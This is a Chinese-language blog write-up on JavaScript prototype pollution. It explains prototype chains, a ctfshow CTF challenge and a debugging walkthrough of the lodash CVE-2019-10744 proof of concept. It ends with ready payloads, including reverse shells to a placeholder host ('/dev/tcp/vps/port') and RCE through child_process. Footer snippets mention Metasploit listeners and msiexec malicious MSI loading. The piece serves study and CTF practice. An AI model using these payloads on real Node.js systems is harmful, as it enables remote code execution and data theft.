JavaScript原型链污染学习记录

VSole2023-05-06 14:45:24

0> 原型及其搜索机制

  • • NodeJS原型机制,比较官方的定义:
我们创建的每个函数都有一个 prototype(原型)属性,这个属性是一个指针,指向一个对象,
而这个对象的用途是包含可以由特定类型的所有实例共享的属性和方法

设计原型的初衷无非是对于每个实例对象,其拥有的共同属性没必要对每个对象实例再分配一片内存来存放这个属性。而可以上升到所有对象共享这个属性,而这个属性的实体在内存中也仅仅只有一份。

而原型机制恰好满足这种需求。

打个不太恰当的比喻,对于每个对象,都有其原型对象作为共享仓库,共享仓库中有属性和方法供生产每个对象实例时使用

1> 原型链和继承

  • • 原型链
原型链是在原型上实现继承的一种形式

举个例子:

function Father(){
    this.name = "father";
    this.age = 66;
}
function Son(){
    this.name = "son";
}
var father1 = new Father();
Son.prototype = father1;
var son1 = new Son();
console.log(son1);
console.log(son1.__proto__);
console.log(son1.__proto__.__proto__);
console.log(son1.__proto__.__proto__.__proto__);
console.log(son1.__proto__.__proto__.__proto__.__proto__);
/*
Father { name: 'son' }
Father { name: 'father', age: 66 }
{}
[Object: null prototype] {}       
null
*/

整个的原型继承链如下:

  • • 关于原型搜索机制:

1)搜索当前实例属性

2)搜索当前实例的原型属性

3)迭代搜索直至null

在上面的例子中
console.log(son1.name);
console.log(son1.age);
/*
son
66 
*/

2> 内置对象的原型

这个也是多级原型链污染的基础

拿一张业内很经典的图来看看

2.姿势利用

1>利用原型污染进行RCE

global.process.mainModule.constructor._load('child_process').execSync('calc')

2>多级污染

ctfshow Web340中有这么一题:

/* login.js */
  var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  }
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
   res.end(flag);
  }

由于Function原型对象的原型也是Object的原型,即

user --(__proto__)--> Function.prototype --(__proto__)--> Object.prototype

那么就可以通过这个进行多级污染,payload为如下形式:

{
    "__proto__":{
        "__proto__":{
            attack_code
        }
    }
}

3>Lodash模块的原型链污染(以lodash.defaultsDeep(CVE-2019-10744)为例,进行CVE复现)

lodash版本 < 4.17.12
CVE-2019-10744:在低版本中的lodash.defaultDeep函数中,Object对象可以被原型链污染,从而可以配合其他漏洞。

看下官方样例PoC的调试过程:

const lodash = require('lodash');
const payload = '{"constructor": {"prototype": {"whoami": "hack"}}}'
function check() {
    lodash.defaultsDeep({}, JSON.parse(payload));
    if (({})['whoami'] === "hack") {
        console.log(`Vulnerable to Prototype Pollution via ${payload}`);
        console.log(Object.prototype);
    }
}
check();

开始调试:

在lodash中,baseRest是一个辅助函数,用于帮助创建一个接受可变数量参数的函数。

所以主体逻辑为,而这段匿名函数也将为func的函数的函数体

args.push(undefined, customDefaultsMerge);
return apply(mergeWith, undefined, args);

查看overRest

在变量监听中可以发现,传入的参数整合成一个参数对象args

继续往下return apply

apply后进入,是个使用switch并且根据参数个数作为依据

发现使用了call,这里可能是个进行原型链继承的可利用点。

(而这种技术称为借用构造函数,其思想就是通过子类构造函数中调用超类构造函数完成原型链继承)

function Super(){}
function Sub(){
    Super.call(this);   // 继承
}

然后apply中返回至刚才的匿名函数体中(此时刚执行完baseRest(func)),其中customDefaultMergemerge的声明方式

继续深入,由上可知apply(func=mergeWith,thisArg=undefined,args=Array[4])

基于start的计算机制,不难得知undefined是作为占位符,使得start向后移动

继续调试,在NodeJS中,普通函数中调用this等同于调用全局对象global

assigner视为合并的一个黑盒函数即可,至此完成原型链污染。

Question: 注意到PoC中的lodash.defaultsDeep({}, JSON.parse(payload));是要求先传入一个object实例的(此处为{})
所以还是具体分析一下合并的过程(来看下assigner的一些底层实现)
注意:通常而言,合并需要考虑深浅拷贝的问题
/*baseMerge*/
    function baseMerge(object, source, srcIndex, customizer, stack) {
      if (object === source) {     // 优化判断是否为同一对象,是则直接返回
        return;
      }
        
        // 遍历source的属性,选择深浅复制
        
      baseFor(source, function(srcValue, key) {
        if (isObject(srcValue)) {
          stack || (stack = new Stack);
          baseMergeDeep(object, source, key, srcIndex, baseMerge, customizer, stack);
        }
        else {
          var newValue = customizer
            ? customizer(safeGet(object, key), srcValue, (key + ''), object, source, stack)
            : undefined;
          if (newValue === undefined) {
            newValue = srcValue;
          }
          assignMergeValue(object, key, newValue);
        }
      }, keysIn);
    }
    var baseFor = createBaseFor();
    function createBaseFor(fromRight) {   // fromRight选择从哪端开始遍历  
      return function(object, iteratee, keysFunc) {
        var index = -1,
            iterable = Object(object),
            props = keysFunc(object),
            length = props.length;
        while (length--) {
          var key = props[fromRight ? length : ++index];
          if (iteratee(iterable[key], key, iterable) === false) { // 这里的iteratee即为baseFor中的匿名函数
            break;
          }
        }
        return object;
      };
    }

那我就再调试一下,在iteratee中(即匿名函数中),若为对象,则选择深拷贝。

原来在4.17.12之前的版本也是有waf的,只是比较弱。

回归正题,在customizer之后便产生了合并

所以,为了更好地观察,我将{}替换成[](Array对象实例)

重新开始调试到此处并进入,发现这是一个迭代合并的过程,先判断是否都为对象。如果是的话,则会进行压栈然后开始浅拷贝合并。

这是在生成属性时需要设置的四种数据属性

回归正题,发现只能写入Array的原型

再验证一下

const lodash = require('lodash');
const payload = '{"constructor": {"prototype": {"whoami": "hack"}}}'
var object = new Object();
function check() {
    // JSON.parse(payload)之后是一个JS对象
    lodash.defaultsDeep([],JSON.parse(payload));
    if (({})['whoami'] === "hack") {
        console.log(`Vulnerable to Prototype Pollution via ${payload}`);
        console.log(Object.prototype);
    }
}
check();
console.log(Array.prototype);

所以说需要直接传入一个Object的实例。

官方修复,直接上waf:检测JSON中的payload中的key值
此处对比一下lodash4.17.12之前的版本,key值过滤得更为严格

总结一下,CVE-2019-10744可用的payload
# 反弹shell
{"constructor":{"prototype":
{"outputFunctionName":"a=1;process.mainModule.require('child_process').exec('bash -c \"echo $FLAG>/dev/tcp/vps/port \"')//"}}}
# RCE
// 对于某个object实例
{"__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"}}
# 反弹shell
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps/port 0>&1\"');var __tmp2"}}

3.参考文献与链接

  1. 1. 《JavaScript高级程序设计语言》
  2. 2. https://www.anquanke.com/post/id/248170
  3. 3. ctfshow平台题目
  4. 4. CVE-2019-10744 WAF:https://github.com/lodash/lodash/pull/4336/files
  5. 5. https://www.viewofthai.link/2022/04/22/lodash%e5%8e%9f%e5%9e%8b%e9%93%be%e6%b1%a1%e6%9f%93/
payloadlodash
本作品采用《CC 协议》,转载必须注明作者和本文链接
Lodash 是一个 JavaScript 库,包含简化字符串、数字、数组、函数和对象编程的工具,可以帮助程序员更有效地编写和维护 JavaScript 代码。并且是一个流行的 npm 库,仅在GitHub 上就有超过 400 万个项目使用,Lodash的普及率非常高,每月的下载量超过 8000 万次。但是这个库中有几个严重的原型污染漏洞。
而可以上升到所有对象共享这个属性,而这个属性的实体在内存中也仅仅只有一份。而原型机制恰好满足这种需求。打个不太恰当的比喻,对于每个对象,都有其原型对象作为共享仓库,共享仓库中有属性和方法供生产每个对象实例时使用1> 原型链和继承?原型链原型链是在原型上实现继承的一种形式举个例子:function?优化判断是否为同一对象,是则直接返回
MSF监听设置use?PAYLOAD?name>set?LHOST?192.168.20.128set?LPORT?4444show?options?#查漏补缺exploit
msiexec是非常重要的操作系统组件,通常用来安装Windows Installer安装包,而且msiexec支持远程加载msi程序功能,因此可以通过msiexec加载远程的恶意msi程序,实现免杀的效果。
不一样的xss payload
2022-08-28 06:50:01
当不能弹窗的时候,可以用下面的payload来证明. 当过滤了空格假设payload如下:?D位置可填充%09,%0A,%0C,%0D,%20,//,>函数配合拼接
介绍实战中由于各种情况,可能会对反序列化Payload的长度有所限制,因此研究反序列化Payload缩小技术是有意义且必要的本文以CommonsBeanutils1链为示例,
分析Cobalt Strike Payload
2021-12-11 06:49:22
原始Payload Cobalt Strike 的Payload基于 Meterpreter shellcode,例如 API 哈希(x86和x64版本)或http/https Payload中使用的url checksum8 算法等等。 x86 默认的 32 位原始负载的入口点以典型指令开始,CLD (0xFC),然后是CALL指令,并PUSHA (0x60)作为 API 哈希算法的第一条
EXOCET 优于 Metasploit 的“Evasive Payloads”模块,因为 EXOCET 在 GCM 模式(Galois/Counter 模式)下使用 AES-256。Metasploit 的 Evasion Payloads 使用易于检测的 RC4 加密。虽然 RC4 可以更快地解密,但 AES-256 很难确定恶意软件的意图。
关于远程代码执行的常用Payload大家好,我是 Ansar Uddin,我是来自孟加拉国的网络安全研究员。这是我的第二篇 Bug 赏金文章。今天的话题都是关于 Rce 的利用。攻击者的能力取决于服务器端解释器的限制。在某些情况下,攻击者可能能够从代码注入升级为命令注入。
VSole
网络安全专家